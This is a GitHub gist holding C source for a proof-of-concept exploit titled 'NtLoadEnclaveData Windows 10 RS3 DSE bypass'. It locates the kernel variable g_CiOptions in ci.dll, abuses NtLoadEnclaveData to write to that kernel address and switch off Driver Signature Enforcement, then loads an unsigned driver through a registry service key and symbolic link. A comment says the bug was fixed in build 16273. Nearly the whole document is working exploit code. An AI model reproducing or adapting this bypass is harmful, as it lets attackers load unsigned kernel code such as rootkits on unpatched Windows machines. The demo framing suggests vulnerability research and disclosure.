Skip to content

Instantly share code, notes, and snippets.

@joshwatson
Forked from hfiref0x/main.c
Created November 29, 2017 20:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save joshwatson/6d97c7bc8b8175d5e86e705484512797 to your computer and use it in GitHub Desktop.
Save joshwatson/6d97c7bc8b8175d5e86e705484512797 to your computer and use it in GitHub Desktop.
NtLoadEnclaveData Windows 10 RS3 DSE bypass
// Original source link https://twitter.com/hFireF0X/status/887930221466443776
// If you are here from any other link - do know that they just steal original info without giving any credit to source
// This bug has been fixed in 16273 public build.
#include "global.h"
HINSTANCE g_hInstance;
HANDLE g_ConOut = NULL;
BOOL g_ConsoleOutput = FALSE;
WCHAR g_BE = 0xFEFF;
RTL_OSVERSIONINFOW g_osv;
#define CI_DLL "ci.dll"
#define T_PROGRAMTITLE TEXT("NtLoadEnclaveData write to address Demo")
#define T_PROGRAMUNSUP TEXT("Unsupported WinNT version\r\n")
#define T_PROGRAMRUN TEXT("Another instance running, close it before\r\n")
#define T_PROGRAMINTRO TEXT("NtLoadEnclaveData demo started\r\n(c) 2017 Project Authors\r\nSupported x64 OS : 10 RS3\r\n")
#define DUMMYDRVREG L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DummyDrv"
NTSTATUS NativeAdjustPrivileges(
_In_ ULONG Privilege
)
{
NTSTATUS Status;
HANDLE TokenHandle;
LUID Luid;
TOKEN_PRIVILEGES TokenPrivileges;
Luid.LowPart = Privilege;
Luid.HighPart = 0;
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Luid = Luid;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Status = NtOpenProcessToken(
NtCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&TokenHandle);
if (NT_SUCCESS(Status)) {
Status = NtAdjustPrivilegesToken(
TokenHandle,
FALSE,
&TokenPrivileges,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
NULL);
NtClose(TokenHandle);
}
if (Status == STATUS_NOT_ALL_ASSIGNED)
Status = STATUS_PRIVILEGE_NOT_HELD;
return Status;
}
NTSTATUS NativeLoadDriver(
_In_ PWSTR DrvFullPath,
_In_ PWSTR KeyName,
_In_opt_ PWSTR DisplayName,
_In_ BOOL ReloadDrv
)
{
UNICODE_STRING ValueName, drvName;
OBJECT_ATTRIBUTES attr;
HANDLE hDrvKey;
ULONG data, dataSize = 0;
NTSTATUS ns = STATUS_UNSUCCESSFUL;
hDrvKey = NULL;
__try
{
if (!ARGUMENT_PRESENT(KeyName)) {
ns = STATUS_OBJECT_NAME_NOT_FOUND;
__leave;
}
RtlInitUnicodeString(&drvName, KeyName);
InitializeObjectAttributes(&attr, &drvName, OBJ_CASE_INSENSITIVE, 0, NULL);
ns = NtCreateKey(&hDrvKey, KEY_ALL_ACCESS, &attr, 0, NULL, REG_OPTION_NON_VOLATILE, NULL);
if (!NT_SUCCESS(ns)) {
__leave;
}
if (ARGUMENT_PRESENT(DrvFullPath)) {
RtlInitUnicodeString(&ValueName, L"ImagePath");
dataSize = (ULONG)(1 + _strlen(DrvFullPath)) * sizeof(WCHAR);
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_EXPAND_SZ, (PVOID)DrvFullPath, dataSize);
if (!NT_SUCCESS(ns)) {
__leave;
}
}
data = 1;
RtlInitUnicodeString(&ValueName, L"Type");
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
if (!NT_SUCCESS(ns)) {
__leave;
}
data = 3;
RtlInitUnicodeString(&ValueName, L"Start");
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
if (!NT_SUCCESS(ns)) {
__leave;
}
data = SERVICE_ERROR_NORMAL;
RtlInitUnicodeString(&ValueName, L"ErrorControl");
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
if (!NT_SUCCESS(ns)) {
__leave;
}
if (ARGUMENT_PRESENT(DisplayName)) {
RtlInitUnicodeString(&ValueName, L"DisplayName");
dataSize = (ULONG)(1 + _strlen(DisplayName)) * sizeof(WCHAR);
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_SZ, DisplayName, dataSize);
if (!NT_SUCCESS(ns)) {
__leave;
}
}
NtClose(hDrvKey);
hDrvKey = NULL;
ns = NtLoadDriver(&drvName);
if (ns == STATUS_IMAGE_ALREADY_LOADED) {
if (ReloadDrv == TRUE) {
NtUnloadDriver(&drvName); //unload previous driver version
NtYieldExecution();
ns = NtLoadDriver(&drvName);
}
else {
ns = STATUS_SUCCESS;
}
}
}
__finally {
if (hDrvKey != NULL) {
NtClose(hDrvKey);
}
}
return ns;
}
LONG QueryCiOptions(
_In_ PVOID MappedBase,
_Inout_ ULONG_PTR *KernelBase
)
{
PBYTE CiInitialize = NULL;
ULONG c, j = 0;
LONG rel = 0;
hde64s hs;
CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize");
if (CiInitialize == NULL)
return 0;
if (g_osv.dwBuildNumber > 16199) {
c = 0;
j = 0;
do {
/* call CipInitialize */
if (CiInitialize[c] == 0xE8)
j++;
if (j > 1) {
rel = *(PLONG)(CiInitialize + c + 1);
break;
}
hde64_disasm(CiInitialize + c, &hs);
if (hs.flags & F_ERROR)
break;
c += hs.len;
} while (c < 256);
}
else {
c = 0;
do {
/* jmp CipInitialize */
if (CiInitialize[c] == 0xE9) {
rel = *(PLONG)(CiInitialize + c + 1);
break;
}
hde64_disasm(CiInitialize + c, &hs);
if (hs.flags & F_ERROR)
break;
c += hs.len;
} while (c < 256);
}
CiInitialize = CiInitialize + c + 5 + rel;
c = 0;
do {
if (*(PUSHORT)(CiInitialize + c) == 0x0d89) {
rel = *(PLONG)(CiInitialize + c + 2);
break;
}
hde64_disasm(CiInitialize + c, &hs);
if (hs.flags & F_ERROR)
break;
c += hs.len;
} while (c < 256);
CiInitialize = CiInitialize + c + 6 + rel;
*KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase;
return rel;
}
ULONG_PTR QueryVariableAddress(
VOID
)
{
LONG rel = 0;
ULONG_PTR Result = 0, ModuleKernelBase = 0;
CHAR *szModuleName;
WCHAR *wszErrorEvent, *wszSuccessEvent;
PVOID MappedBase = NULL;
CHAR szFullModuleName[MAX_PATH * 2];
szModuleName = CI_DLL;
wszErrorEvent = TEXT("Ldr: CI.dll loaded image base not recognized");
wszSuccessEvent = TEXT("Ldr: CI.dll loaded for pattern search");
ModuleKernelBase = supGetModuleBaseByName(szModuleName);
if (ModuleKernelBase == 0) {
cuiPrintText(g_ConOut,
wszErrorEvent,
g_ConsoleOutput, TRUE);
return 0;
}
szFullModuleName[0] = 0;
if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH))
return 0;
_strcat_a(szFullModuleName, "\\");
_strcat_a(szFullModuleName, szModuleName);
// _strcpy(szFullModuleName, "C:\\malware\\ci.dll");
MappedBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (MappedBase) {
cuiPrintText(g_ConOut,
wszSuccessEvent,
g_ConsoleOutput, TRUE);
rel = QueryCiOptions(
MappedBase,
&ModuleKernelBase);
if (rel != 0) {
Result = ModuleKernelBase;
}
FreeLibrary(MappedBase);
}
else {
wszErrorEvent = TEXT("Ldr: Cannot load CI.dll");
cuiPrintText(g_ConOut,
wszErrorEvent,
g_ConsoleOutput, TRUE);
}
return Result;
}
VOID LoadDriver()
{
NTSTATUS Status;
HANDLE Link = NULL;
UNICODE_STRING str, drvname;
OBJECT_ATTRIBUTES Obja;
WCHAR szBuffer[MAX_PATH + 1];
Status = NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE);
if (!NT_SUCCESS(Status)) {
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, TEXT("Ldr: NativeAdjustPrivileges result = 0x"));
ultohex(Status, _strend(szBuffer));
cuiPrintText(g_ConOut,
szBuffer,
g_ConsoleOutput, TRUE);
return;
}
_strcpy(szBuffer, L"\\??\\");
_strcat(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer);
_strcat(szBuffer, L"dummy.sys");
RtlInitUnicodeString(&str, L"\\*");
RtlInitUnicodeString(&drvname, szBuffer);
InitializeObjectAttributes(&Obja, &str, OBJ_CASE_INSENSITIVE, 0, NULL);
Status = NtCreateSymbolicLinkObject(&Link, SYMBOLIC_LINK_ALL_ACCESS, &Obja, &drvname);
if (!NT_SUCCESS(Status)) {
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, TEXT("Ldr: NtCreateSymbolicLinkObject result = 0x"));
ultohex(Status, _strend(szBuffer));
cuiPrintText(g_ConOut,
szBuffer,
g_ConsoleOutput, TRUE);
}
else {
Status = NativeLoadDriver(L"\\*", DUMMYDRVREG, NULL, TRUE);
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, TEXT("Ldr: NativeLoadDriver result = 0x"));
ultohex(Status, _strend(szBuffer));
cuiPrintText(g_ConOut,
szBuffer,
g_ConsoleOutput, TRUE);
if (Link)
NtClose(Link);
}
}
typedef NTSTATUS(NTAPI *pfnNtLoadEnclaveData)(
ULONG_PTR Param1,
ULONG_PTR Param2,
ULONG_PTR Param3,
ULONG_PTR Param4,
ULONG_PTR Param5,
ULONG_PTR Param6,
ULONG_PTR Param7,
ULONG_PTR Param8,
ULONG_PTR Param9
);
pfnNtLoadEnclaveData NtLoadEnclaveData;
UINT NtLoadEnclaveDataDemo()
{
NTSTATUS Status = STATUS_SUCCESS;
HMODULE hNtdll;
ULONG_PTR g_CiOptions = 0;
WCHAR *wszErrorEvent;
WCHAR szBuffer[MAX_PATH];
g_CiOptions = QueryVariableAddress();
if (g_CiOptions != 0) {
_strcpy(szBuffer, TEXT("Ldr: CI.dll->g_CiOptions found at 0x"));
u64tohex(g_CiOptions, _strend(szBuffer));
cuiPrintText(g_ConOut,
szBuffer,
g_ConsoleOutput, TRUE);
}
else {
wszErrorEvent = TEXT("Ldr: CI.dll->g_CiOptions address not found.");
cuiPrintText(g_ConOut,
wszErrorEvent,
g_ConsoleOutput, TRUE);
return 0;
}
hNtdll = GetModuleHandle(TEXT("ntdll.dll"));
if (hNtdll) {
NtLoadEnclaveData = (pfnNtLoadEnclaveData)GetProcAddress(hNtdll,
"NtLoadEnclaveData");
if (NtLoadEnclaveData) {
Status = NtLoadEnclaveData(0x00007FFFFFFFFFFF,
0x00007FFFFFFFFFFE,
0x00007FFFFFFEFFFE,
0x000000000000FFFF,
0x00007FFFFFFEFFFE,
0x00007FFFFFFFFFFF,
0xFFFF800000000000,
0x000000000000FFFF,
g_CiOptions);
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, TEXT("Ldr: NtLoadEnclaveData returned with status = 0x"));
ultohex((ULONG)Status, _strend(szBuffer));
cuiPrintText(g_ConOut,
szBuffer,
g_ConsoleOutput, TRUE);
if (Status == STATUS_ACCESS_VIOLATION) {
_strcpy(szBuffer, TEXT("Ldr: Attempt to load unsigned demo driver"));
cuiPrintText(g_ConOut,
szBuffer,
g_ConsoleOutput, TRUE);
LoadDriver();
}
}
else {
wszErrorEvent = TEXT("Ldr: NtLoadEnclaveData procedure not found.");
cuiPrintText(g_ConOut,
wszErrorEvent,
g_ConsoleOutput, TRUE);
}
}
return (UINT)Status;
}
void DSEFixMain()
{
BOOL bCond = FALSE;
UINT uResult = 0;
DWORD dwTemp;
WCHAR text[256];
__security_init_cookie();
do {
g_hInstance = GetModuleHandle(NULL);
g_ConOut = GetStdHandle(STD_OUTPUT_HANDLE);
if (g_ConOut == INVALID_HANDLE_VALUE) {
uResult = (UINT)-1;
break;
}
g_ConsoleOutput = TRUE;
if (!GetConsoleMode(g_ConOut, &dwTemp)) {
g_ConsoleOutput = FALSE;
}
SetConsoleTitle(T_PROGRAMTITLE);
SetConsoleMode(g_ConOut, ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT | ENABLE_PROCESSED_OUTPUT);
if (g_ConsoleOutput == FALSE) {
WriteFile(g_ConOut, &g_BE, sizeof(WCHAR), &dwTemp, NULL);
}
cuiPrintText(g_ConOut,
T_PROGRAMINTRO,
g_ConsoleOutput, TRUE);
RtlSecureZeroMemory(&g_osv, sizeof(g_osv));
g_osv.dwOSVersionInfoSize = sizeof(g_osv);
RtlGetVersion((PRTL_OSVERSIONINFOW)&g_osv);
#ifndef _DEBUG
if ((g_osv.dwBuildNumber < 16199) || (g_osv.dwBuildNumber > 16257)) {
cuiPrintText(g_ConOut,
T_PROGRAMUNSUP,
g_ConsoleOutput, TRUE);
uResult = (UINT)-1;
break;
}
#endif
_strcpy(text, TEXT("Ldr: Windows v"));
ultostr(g_osv.dwMajorVersion, _strend(text));
_strcat(text, TEXT("."));
ultostr(g_osv.dwMinorVersion, _strend(text));
_strcat(text, TEXT(" build "));
ultostr(g_osv.dwBuildNumber, _strend(text));
cuiPrintText(g_ConOut, text, g_ConsoleOutput, TRUE);
uResult = NtLoadEnclaveDataDemo();
cuiPrintText(g_ConOut,
TEXT("Ldr: Exit"),
g_ConsoleOutput, TRUE);
} while (bCond);
ExitProcess(uResult);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment